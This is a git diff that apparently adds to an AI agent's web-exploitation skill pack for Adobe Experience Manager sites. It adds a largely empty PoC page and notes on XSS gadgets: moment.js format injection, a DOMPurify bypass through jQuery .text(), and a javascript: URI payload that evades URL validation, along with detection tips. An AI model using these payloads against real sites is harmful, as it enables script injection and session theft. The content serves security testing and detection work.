+
+
+
+
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html
new file mode 100644
index 0000000..9b628f7
--- /dev/null
+++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html
@@ -0,0 +1,51 @@
+
+
+
+ Just a moment...
+
+
+
+
+
+
Date Formatter
+
+
+
+
+
+
+
+
+
+
diff --git a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md
index 5346319..5442612 100644
--- a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md
+++ b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md
@@ -1,12 +1,19 @@
# AEM-Specific XSS Gadgets
+These gadgets apply to AEM sites and beyond — any webapp using these libraries. Source: Jim Green (600+ AEM CVEs).
+
### moment.js format injection
If user input controls `moment().format()` argument and output hits innerHTML:
```javascript
moment().format("[]")
// Square brackets = literal output in moment.js format strings
+// moment.js is deprecated but extremely common in AEM clientlibs
```
+**Detection:** Search AEM clientlibs for `moment(` imports. Check if any format string derives from user input (URL params, form fields, API responses).
+
+**PoC:** [moment-format-xss.html](pocs/moment-format-xss.html) — loads moment.js from CDN, format param from query string.
+
### jQuery .text() entity re-decoding
Post-DOMPurify bypass chain:
```javascript
@@ -20,6 +27,12 @@ el.innerHTML = text; // re-parses as HTML → XSS
// DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes
```
+**Detection:** Search AEM clientlibs for `DOMPurify.sanitize` followed by `.text()` or `.textContent` flowing back into `innerHTML`, `.html()`, or `document.write`. Also check `.val()` reads that get re-rendered.
+
+**Key insight:** "Always check what happens to sanitized output when read back via `.text()`, `.val()`, `.textContent`"
+
+**PoC:** [jquery-text-dompurify-bypass.html](pocs/jquery-text-dompurify-bypass.html) — DOMPurify + jQuery `.text()` chain.
+
### javascript: URI property population
```javascript
let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)");
@@ -28,3 +41,7 @@ let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document
// u.port === "443" (passes port checks)
// After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes.
```
+
+**Detection:** Search for `new URL(` combined with hostname/pathname validation before `window.open()`, `location.href`, or link `href` assignment. Common in redirect handlers and OAuth flows on AEM sites.
+
+**PoC:** [javascript-uri-validation-bypass.html](pocs/javascript-uri-validation-bypass.html) — URL constructor validation + `window.open`.